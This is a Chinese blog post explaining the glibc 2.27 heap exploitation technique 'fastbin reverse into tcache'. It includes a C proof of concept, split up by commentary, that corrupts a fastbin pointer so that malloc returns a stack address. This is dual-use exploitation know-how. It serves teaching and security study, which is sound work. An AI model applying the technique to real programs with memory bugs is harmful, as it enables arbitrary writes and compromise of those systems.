Fastbin reverse into tcache

黎 浩然/ 6 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.27

Fastbin reverse into tcache基于这样一个事实:在malloc的时候,当tcache为空的时候(如果该size在tcache的管理范围之内),如果在fastbin/unsortedbin/smallbin(最多只有一个bin被最后选择,下同)能够找到best fit的chunk。那么会先从该fastbin/unsortedbin/smallbin中取出一块chunk作为预备返回;于此同时,将该fastbin/unsortedbin/smallbin剩下的chunk加入到tcache中对应的bin中,直到tcache的对应的bin达到7个。

取出的顺序遵守fastbin/unsortedbin/smallbin的规则,加入的顺序遵守tcache的规则

值得注意的是,fastbin和tcache都是LIFO的结构。这对于从fastbin中取出chunk加入到tcachebin的过程同样适用,下面我们逐一分析源代码并解析:

先分配了14个小chunk,用前面7个chunk将tcache填满。然后将接着的8个chunk放入fastbin中,根据fastbin FIFO的原则,第8块chunk被放到了fastbin的对应的bin的尾部(这里指链表尾部,下同)。接下来我们需要分配 7个对应大小的chunk将tcachebin清空。

再分配一个chunk的时候,glibc就会尝试在fastbin的头部先除去一块chunk用于预备返回。然后将fastbin中剩下的6块chunk按照LIFO的顺序从fastbin中取出并加入到tcachebin中对应的bin中

这里就是重点了,当将第6个fastbin chunk(也就是正常状态下的最后一个fastbin chunk)加入到tcachebin中的时候,由于tcachebin还没有达到7个。如果我们在第6个chunk中伪造fd指向一个stack chunk。那么该fake chunk也会被加入到tcachebin中,并且成为了tcachebin的第一个chunk(头部)。

这里需要注意的是,如果前面的fastbin中的real chunk比6个要少的时候,在将fake chunk加入到tcachebin后glibc会继续检查那个fake chunk的fd指针是否为空。如果不为空,glibc会认为fastbin还有chunk就会继续将fake chunk中fd所指向位置加入到tcache。所以当real chunk少于6个的时候,我们需要保证fake chunk的fd为0,或者递归地指向合法的地址,直到tcachebin满7个。

所以如果进入fastbin的chunk少于7个的时候,我们需要等量递归地保证fake chunk的fd指向合法的地址,或者为0.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);

  printf(
    "\\n"
    "This attack is intended to have a similar effect to the unsorted_bin_attack,\\n"
    "except it works with a small allocation size (allocsize <= 0x78).\\n"
    "The goal is to set things up so that a call to malloc(allocsize) will write\\n"
    "a large unsigned value to the stack.\\n\\n"
  );

  // Allocate 14 times so that we can free later.
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "First we need to free(allocsize) at least 7 times to fill the tcache.\\n"
    "(More than 7 times works fine too.)\\n\\n"
  );

  // Fill the tcache.
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

前7块chunk放入了tcachebin中

char* victim = ptrs[7];
  printf(
    "The next pointer that we free is the chunk that we're going to corrupt: %p\\n"
    "It doesn't matter if we corrupt it now or later. Because the tcache is\\n"
    "already full, it will go in the fastbin.\\n\\n",
    victim
  );
  free(victim);
  printf(
    "Next we need to free between 1 and 6 more pointers. These will also go\\n"
    "in the fastbin. If the stack value that we want to overwrite is not zero\\n"
    "then we need to free exactly 6 more pointers, otherwise the attack will\\n"
    "cause a segmentation fault. But if the value on the stack is zero then\\n"
    "a single free is sufficient.\\n\\n"
  );

  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

第8块chunk应该在fastbin的尾部,但是pwndbg未能显示出来

// Create an array on the stack and initialise it with garbage.
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));

  printf(
    "The stack address that we intend to target: %p\\n"
    "It's current value is %p\\n",
    &stack_var[2],
    (char*)stack_var[2]
  );

  printf(
    "Now we use a vulnerability such as a buffer overflow or a use-after-free\\n"
    "to overwrite the next pointer at address %p\\n\\n",
    victim
  );

  //------------VULNERABILITY-----------

  // Overwrite linked list pointer in victim.
  *(size_t**)victim = &stack_var[0];

  //------------------------------------

  printf(
    "The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n"
  );

  // Empty tcache.
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(

将tcachebin清空

"Let's just print the contents of our array on the stack now,\\n"
    "to show that it hasn't been modified yet.\\n\\n"
  );

  for (i = 0; i < 6; i++) {
    printf("%p: %p\\n", &stack_var[i], (char*)stack_var[i]);
  }

  printf(
    "\\n"
    "The next allocation triggers the stack to be overwritten. The tcache\\n"
    "is empty, but the fastbin isn't, so the next allocation comes from the\\n"
    "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n"
    "Those 7 chunks are copied in reverse order into the tcache, so the stack\\n"
    "address that we are targeting ends up being the first chunk in the tcache.\\n"
    "It contains a pointer to the next chunk in the list, which is why a heap\\n"
    "pointer is written to the stack.\\n"
    "\\n"
    "Earlier we said that the attack will also work if we free fewer than 6\\n"
    "extra pointers to the fastbin, but only if the value on the stack is zero.\\n"
    "That's because the value on the stack is treated as a next pointer in the\\n"
    "linked list and it will trigger a crash if it isn't a valid pointer or null.\\n"
    "\\n"
    "The contents of our array on the stack now look like this:\\n\\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);

先拿走fastbin中的一个chunk,剩下的全部加入tcache,包括了fake chunk

printf(
    "\\n"
    "Finally, if we malloc one more time then we get the stack address back: %p\\n",
    q
  );

  assert(q == (char *)&stack_var[2]);

  return 0;
}

最后再次分配就能够拿到fake chunk。

不过在这里需要注意的是tcachebin的next指针指向的chunk是不包括这个chunk的元数据的

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*